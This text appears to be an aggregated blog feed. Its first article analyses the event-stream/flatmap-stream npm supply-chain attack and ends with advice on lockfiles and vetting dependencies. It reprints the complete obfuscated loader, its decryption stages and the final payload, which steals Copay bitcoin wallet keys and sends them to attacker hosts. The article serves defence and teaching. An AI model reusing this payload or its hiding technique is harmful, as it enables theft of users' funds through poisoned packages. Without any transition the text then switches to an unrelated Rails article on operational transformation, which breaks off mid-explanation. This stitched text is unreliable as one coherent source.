var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

The malicious piece is the part at the end, which is deliberately obfuscated to avoid detection:

!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

In the issue report, FallingSnow unminified the code to show what it's doing:

// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
npm_package_description = process['env']['npm_package_description'];

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

// a = u.update(n[0], e(n[8]), e(n[9]));
// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

So, the code requires in ./test/data.js, which was also snuck into the npm published version of flatmap-stream despite not being in the GitHub source. The test/data.js file contains an array of AES256-encrypted strings. The npm_package_description environment variable is set by npm when a script is run in a parent package -- essentially, whatever top-level package is including event-stream -> flatmap-stream as dependencies will have its description set to npm_package_description (along other bits of metadata). So, the code decrypts the contents of test/data.js using the npm_package_description as the AES256 key, and attempts to execute the result.

For the vast majority of parent packages, this will result in an error (which the malicious code silently catches and ignores), since their package description won't be the correct AES256 key and the output will be nonsense. So it's a very targeted attack against just one package. maths22 and others pulled the list of npm packages which include event-stream as a dependency and brute-forced it until they figured out the targeted package: copay-dash, a bitcoin wallet platform. Its description, "A Secure Bitcoin Wallet", successfully decrypts the test/data.js contents into the following (courtesy of joepie91):

/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

This code runs another round of decryption and executes the final malicious script:

/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

As you may have guessed by now, this script tries to steal your bitcoin wallet and upload it to the attacker's server.

Edit: the npm team has released their official incident report, which further clarifies that the malicious code is intended to run in Copay's release process and inject the bitcoin-stealing script into Copay's wallet application.

So, to summarize:

copay-dash is a popular bitcoin platform which includes event-stream as a dependency.
For about a week in September, event-stream included flatmap-stream as a dependency, as it was passed along to a new maintainer who added the dependency and removed it a week later.
flatmap-stream had some code hiding at the end of its minified built output which attempts to decode and execute strings from its packaged test/data.js file, using the description of the top-level package as the AES256 key.
For any other package, this produces a silently handled error (as the package description/decryption key is wrong). But for copay-dash, this produces some valid JavaScript which runs another round of decryption and executes a malicious script that steals your bitcoin wallet.

What now?

This was an incredibly clever attack, very reminiscent of this blog post from January about how a similar attack might work. The attacker covered their tracks well -- the code and commit log on GitHub all tell an innocuous and fairly common story (a new maintainer joins a project, adds a feature, and then tweaks the implementation of their feature a bit). Other than the warning signs about flatmap-stream (new package, no contributors or download activity), the attack was virtually undetectable. And indeed, it wasn't discovered for over two months -- it was only found because the attacker made a tiny mistake and used the deprecated crypto.createDecipher rather than crypto.createDecipheriv, which raised a suspicious deprecation warning in another library that consumes event-stream.

Unfortunately, this genre of attack isn't going away anytime soon. JavaScript is the most popular language right now and it's not really close, meaning it will continue to be an attractive target for hackers. JavaScript also has relatively few standard-library convenience features compared to other languages, which encourages developers to import them from npm packages instead -- this, along with other cultural factors, means that JavaScript projects tend to have massive dependency trees.

It's worth noting here that while JavaScript applications are relatively susceptible to this class of vulnerability, that's not necessarily a reason why JavaScript is less secure overall. JavaScript tends to be used by fast-moving teams that stay close to the cutting edge, which means its users install a lot of packages and updates, and are thus vulnerable to malicious updates. But Equifax's Java app was breached for exactly the opposite reason -- they didn't install a security update to Apache Struts for months. That class of vulnerability is far less likely to happen on a fast-moving JavaScript app. In the end, there will always be security tradeoffs involved in choosing a technology stack; the important takeaway is to understand the failure modes for your particular application and be vigilant against them.

What does this mean for JavaScript stacks? There's no shortage of ideas and proposals for how npm or community organizations could prevent these attacks. But for end users, there are at least two essential steps to reducing your exposure:

Use a lockfile. Whether it's yarn's yarn.lock or npm's package-lock.json, a lockfile ensures that you get the same package versions on every install, so if you're secure today then you'll be secure tomorrow as well. Apps that utilize floating dependencies without a lockfile are particularly vulnerable to malicious updates, because they will automatically install the latest patch version of their dependencies -- meaning that you may be compromised as soon as your next deploy, if one of your dependencies is compromised and publishes a malicious patch. With a lockfile, you at least limit your exposure to manual developer actions that add or update a package, which can be double-checked via code reviews and organizational policies.
Think before you install. This isn't a panacea -- as demonstrated above, it's easy for attackers to slip malicious code into minified output, which is hard to find even if you knew it was there. But you will drastically reduce your exposure if you stick to popular, well-maintained packages. Before you install a new dependency, first, ask yourself if you really need it. If you already know how to write the code, and it won't take you more than a few dozen lines, just do it yourself. If you do need the dependency, scope it out before you install. Does it have high download numbers on npm? Does the GitHub repo appear well-maintained and active? Has the package been updated recently? If not, also consider forking the repository and either publishing a fork to npm or installing the package directly from your GitHub; this reduces risk because you aren't exposed to future malicious updates, and you can read and minify the source yourself so you're confident about what it really does.

How to Build a Collaborative Text Editor Using Rails

Justin Weiss — Wed, 18 Apr 2018 00:00:00 GMT

It is a painful realization. You just added a beautiful, multi-page description into your bug tracker's text editor, complete with photos and a short screencast. Then your co-worker, who left their window open when they went to lunch, helpfully fixes a typo… and overwrites everything you just did. Poof — all that work, gone.

One of my favorite things about Rails is how great it is with solving 99 percent of the issues most applications have — you know, take some information, do stuff with it, and then put that information back in front of people. But as your app becomes more popular, there is more information being entered in the same record, often by many people at the same time. And this can be disastrous.

How great would it be if everyone could work on the same record at the same time? If the record could deal with all those updates, instead of you having to negotiate who makes the updates like a bunch of stranded preteens from Lord of the Flies?

As more and more organizations move all workflow and data online, the expectation is that everyone can work together in real time. Technology companies are building entire businesses around collaborative editing or adding collaboration to their existing products.

This is something that we have been thinking about at Aha! for some time. We know that our customers want to be able to work together seamlessly when creating notes or writing feature descriptions in our application. So we have been researching what is possible to deliver the best collaborative text editor experience.

And if you do not want your customers to have to pass the conch shell just to get work done, you need it too.

What does collaborative editing look like?

As developers, you will probably think of Git. You make changes to your document, someone else makes changes on their document, you merge, and then one of you fixes conflicts.

Part of that process is great. You can just make changes without having to wait for anyone else. That is called making changes optimistically, in the sense that you can do stuff without having to tell other people first and assume that your changes will come through.

Part of that process is not great. When you and I are editing the same document at the same time, we do not want to be interrupted every few minutes to deal with conflicts. A text editor that worked like that would be unusable. But conflicts do not constantly happen. They only happen when we try to edit the same place at the same time, which is not common.

When a conflict does happen, though, what if we were not bugged about it? The system could make its best guess on what to do, and one of us could fix it if it was wrong. In theory, this seems like a terrible idea that could never work. In practice, it mostly does work.

So how does this work in practice? The system doesn't need to be right, it just has to be consistent, and it needs to try to keep your intent.

The image below shows this. If I type in the word "hello," the system should do its very best to make sure "hello" ends up in the document somewhere. That is intent.

And if someone else types "bye" at the same spot at the same time? Our two documents should eventually end up exactly the same, whether that is "hellobye" or "byehello" — the documents need to be consistent.

What about conflicts? Well, people are kind of natural conflict resolution machines. If you are walking down the hallway, and someone is about to walk into you, you will stop. Probably both of you will move to the same side. And then maybe you will both move to the other side and you will laugh. But then eventually one of you will move, and the other will stand still, and everything will work out.

So, you want your editor to quickly respond to the person using it. If you are typing, you do not want to wait for a network request before you can see what you typed. And you want the other people editing your document to see your changes. And you want to do all of this as fast as possible. How could you make that work?

The first thing you might think of is sending diffs, like the image below. "This person 1 changed line 5 from this to this." But it is hard to see intent in a diff. All diffs do is tell you what changed, not why.

A better way is to think in terms of actions a person could take: "I inserted character ‘a' at position 5." "I deleted character ‘b' after position 8."

You can make these actions (or operations) pretty much whatever you want. Everything from "insert some text" to "make this section of text bold." You can apply these to a document, and when you do, the document changes. So, as you can see below, applying this operation changes "Hello" to "Hello, world."

If we have operations, and we can send operations, and we can change documents by applying operations, then we almost have collaboration.

What if client A sent an "insert ‘world' at 5" operation to client B? Client B could apply that operation, and you would have the same doc! Bingo — job is finished and it is perfect. Except it is not.

Because remember — you could both be changing the document at the same time. So, let's say you have two clients. They each have a document with the text "at" as shown below.

Now, the left client types "c" at position 0, making the word "cat." At the same time, the other client types "r" at position 1, making the word "art."

Now, the client on the right gets this "insert c at 0" operation from the other client and ends up with "cart." So far, so good. But then the client on the left gets the "insert r at 1" operation from the other client, ending up with the "crat" you see below.

And I have no idea what a "crat" is. (Do you?)

Worse than the unknown "crat," we have violated one of our most important rules. Both documents need to be consistent with one another — they need to end up at the same state. Because now, if the client on the left deletes the character "a" after position 2, it also deletes "r" on this other client without having any idea that it is doing it. It is wrong and broken in a way a person cannot fix.

So, something else needs to happen. And that something is operational transformation.

Transforming operations

So let's look at the problem again. We have two operations that happen at the same time, meaning they both came from the same document state — the "at" example we talked about earlier.

Whenever we have two operations that happen on the same exact document, that means we might need to change one of them. This is because you can only make changes one after the other, in order — like we just saw with "cart" and "crat," order matters. On this client, it means that the insert "r" has to change so that it can happen after the insert "c." So what would this look like?

Well, after you insert "c," the old position 1 (highlighted in yellow below) is now position 2. Everything moved over by one. If the "r" goes in between "a" and "t" (just like it did over on the other client), it should go into position 2 — right? So, when you get that "insert r at 1," you transform it into "insert r at 2" before you apply it.

How about on the other side? It gets "insert c at 0." But position 0 has not moved, so "insert c at 0" can just stay as it is.

What you are trying to do is say, "If operation A and operation B happened at the same time, how could I change operation B to adjust for what operation A did?"

That can sometimes be abstract and hard to think about. So I draw boxes instead. (Yep, I have lots of pieces of paper filled with boxes.) But check this out below. In the upper-left corner, I write a document state — "at."

I draw an arrow going right and I write one of the operations ("insert c at 0") on it. Then in the upper-right, I write what things look like after that happens ("cat"). Then I draw a line going down.

Next, I draw an arrow going down. This one gets the other operation ("insert r at 1"). Same as before: I write down what things look like after that happens ("art"). And I draw an arrow going right. We end up with what you see below.

Now we have a decision to make. In the lower right-hand corner, what should the document look like? This is where thinking about what your user would expect can help, but sometimes you have to just make a decision.

Here, though, the answer is not ambiguous — it should be "cart." What would need to happen to turn "cat" into "cart"? "Insert r at 2." What would need to happen to turn "art" into "cart"? "Insert c at 0." So we will fill in the blank arrows. Those two arrows are our two transformed operations.

Once you know this, it is really easy to test drive the code that transforms your operations. The top and left sides are your inputs, and the right and bottom sides are your expected outputs.

There is one last problem to solve before we can start writing these, though. How do you break ties? If both clients are trying to insert the text in the exact same place, whose text ends up first?

Remember — you do not have to be right, you just have to be consistent. So, pick a consistent tiebreaker. If you are communicating with a server, you can decide that the server always wins. Or you can give every client a random ID, and the biggest one wins. Just be consistent.

Writing a transformation function

We have some operations to transform and some expected return values. What would this transformation function actually look like?

We will start with this:

def transform(top, left, win_tiebreakers = false)
  bottom = transform_operation(top, left, win_tiebreakers),
  right =  transform_operation(left, top, !win_tiebreakers)
  [bottom, right]
end

It transforms top against left to get the bottom arrow, then left against top to get the right arrow, and then returns both of them, which completes our square. But that is just punting the question. What does a transform_operation function look like?

Let's focus on the line that starts with right =. How do you transform that left operation so it acts as if it happened after the top operation shifts everything over and becomes that right arrow — "insert r at 1"?

# ours:   { type: :insert, text: "r", position: 1 }
# theirs: { type: :insert, text: "c", position: 0 }
def transform_operation(ours, theirs, win_tiebreakers)
  # TODO: handle other kinds of operations

  transformed_op = ours.dup

  if ours[:position] > theirs[:position] || 
    (ours[:position] == theirs[:position] && !win_tiebreakers )
    transformed_op[:position] = 
      transformed_op[:position] + theirs[:text].length
  end

  transformed_op
end

If we are only thinking about inserting text for now, writing transform_component is not too hard. We write a to-do for later.

Next, we return a new operation because we do not want to mess anything up by changing the one that was passed to us. In the if line, we answer the question: What would cause our position to change?

If the other client is inserting text before our spot, we will need to move over. And if they are inserting text at the same spot as us, and we lose the tiebreaker, we will also have to move over. If either of those scenarios happens, we need to move our position over by the length of the text they are inserting. If they are typing one character, we move over by one. Just like we saw before — because somebody typed a "c" before our "r," we need to move over or we get "crat."

This is about as simple as transformation functions get, but most of them follow the same sort of pattern:

Check whether the other operation can affect us somehow.
If it can, return a new operation with that effect taken into account.
Otherwise, return the original operation.

Transformations can get complicated. But they are very functional, in the mathematical sense, which makes them easy to test. And there are some mathematical properties that these functions have to fulfill.

For example, there is a property called TP1 that says:

If you have two documents with the same state…
And you apply the first operation followed by the transformed second operation…
You will end up with the same document as if you applied the second operation followed by the transformed first operation.

That is kind of a mouthful. But to visualize what it really says, take a look at this square below, starting in the upper left-hand corner. From there, if you take the top arrow and then the right arrow, you will end up with the same document as if you took the left arrow and then the bottom arrow.

If you are transforming things correctly, no matter which path you take, you end up at the same destination. Math makes it even easier to test your transformation functions. You can generate a whole bunch of random operations, transform them against each other, apply them to a document, and — as long as the documents end up equal at the end — you know that those transformation functions work.

So even though transformation functions can get complicated, it is not too hard to make sure they work.

Now, these square diagrams only really work if there are two clients sending operations at the same time — right? You can only really have two arrows going out of that top-left corner and reaching the bottom left corner. If you have three clients, you get three-dimensional diagrams, if you have four, you get four-dimensional diagrams, and so on. And every path through those diagrams has to end up at the same state.

But if you have a single source of truth, a central server, this all becomes so much easier. Instead of a three-dimensional diagram, you have a few two-dimensional ones — one for each client-server connection. The clients do not talk to each other directly. They talk through the server. (And as Rails devs, most of us are fairly used to relying on back-end servers.) So from now on, let's assume we have a server and our operations go through it.

When do you need to transform operations?

We just talked about transformation functions. These functions transform operations so you end up with sequences of operations that will all end up at the same document. But there is another piece of information you still need.

We still need to know which operations to transform. For that, we have a control algorithm. And in order to figure that out, the algorithm needs to know if two documents are the same, so we can tell if two operations happened at the same time.

Since we are talking to a server, this is easy — the server is your source of truth. It can give every document a unique version number and use that number to tell whether two documents are the same.

Once we have a document version, we can keep track of which document version each operation happened in. So we add the version number of the document to every operation we create, like this:

> operation
{
  type: :insert,
  text: "r",
  position: 1,
  version: 2
}

Let's say our "at" example was version 2. We had two clients run operations on that same document ("insert C" and "insert r"), so they also get version 2.

This way, you can tell that these operations happened at the same time and you know you need to transform them. After applying each operation, we end up with a new document version.

But what would happen if you went a little further before syncing up? What if two clients each ran two operations before they talked to each other, instead of just one?

Transforming multiple operations

Just like our example earlier, it is easier to visualize if you draw a square so you can see what is happening.

You have some arrows on the top and some arrows on the left, and you want to complete the square with the arrows on the right and an arrow on the bottom. You can use the same transformation functions you already wrote.

But there is a trick here. Because this is not one square. As you can see below, it is actually four.

This is really important because the right side of one square becomes the new left side of the next square.

This is a little brain-bending. So, do not worry if it does not really sink in at first. It took years for people to find and fix this problem.

Just remember that you have to fill in every one of those squares. You can only have one operation per side of a square. And for every square, traveling across the top then right side has to result in the same value as traveling down the left then bottom side.

So your transformation algorithm is a little bit like this:

Take two lists of operations: the top list and the left list.
Create two empty lists: the right list and the bottom list.
Transform the first top operation and first left operation to get the bottom and right values.
Push the bottom value onto the bottom list.
Hold on to the right value (I call it "transformed left") because you will use it next.

Take the bottom operation you get back, and push it onto the bottom list.
If you have any more top elements, you just keep turning the right one into the new left one and keep going.
Once you reach the end of a row, push the last right value onto your right list.

Now you have one element in your right list and a full row of bottom operations. Turn your bottom list into the new top list and repeat this whole process with the second element of the left list. Eventually, you get all the way to the bottom and complete both your lists.

It might help to see this in code:

def transform(left, top)
  left = Array(left)
  top = Array(top)
  
  return [left, top] if left.empty? || top.empty?

  if left.length == 1 && top.length == 1
    right = transform_operation(left.first, top.first, true)
    bottom = transform_operation(top.first, left.first, false)
    return [Array(right), Array(bottom)]
  end

  right = []
  bottom = []

  left.each do |left_op|
    bottom = []
    
    top.each do |top_op|
      right_op, bottom_op = transform(left_op, top_op)
      left_op = right_op
      bottom.concat(bottom_op)
    end
    
    right.concat(left_op)
    top = bottom
  end

  [right, bottom]
end

The first thing to do is to make sure we are only dealing with arrays to make the code simpler later on. This way, for the rest of our control algorithm, we are only thinking about transforming lists of operations.

Next, we handle some simple cases. If either our left list or top list is empty, that means we do not have to do anything. From a user's perspective, it would be when you were the only one who made changes or you walked away from your desk while someone else was making changes. There is nothing to transform.

If you are only transforming one operation against another operation, this is exactly the same transform method as the simple squares you saw earlier. You transform the left operation against the top operation to get the right operation, and then you do it in reverse to get the bottom operation.

Now for the tricky part — when we have multiple operations in a row. Lines 13 and 14 create some empty arrays to hang onto our transformed operations as we get them. For the first row, we go through each operation on the top.

We transform them by calling this transform function recursively — usually, this will hit one of those two easy cases, so it is not worth thinking about too hard. It returns new transformed operations, which we will hold on to.

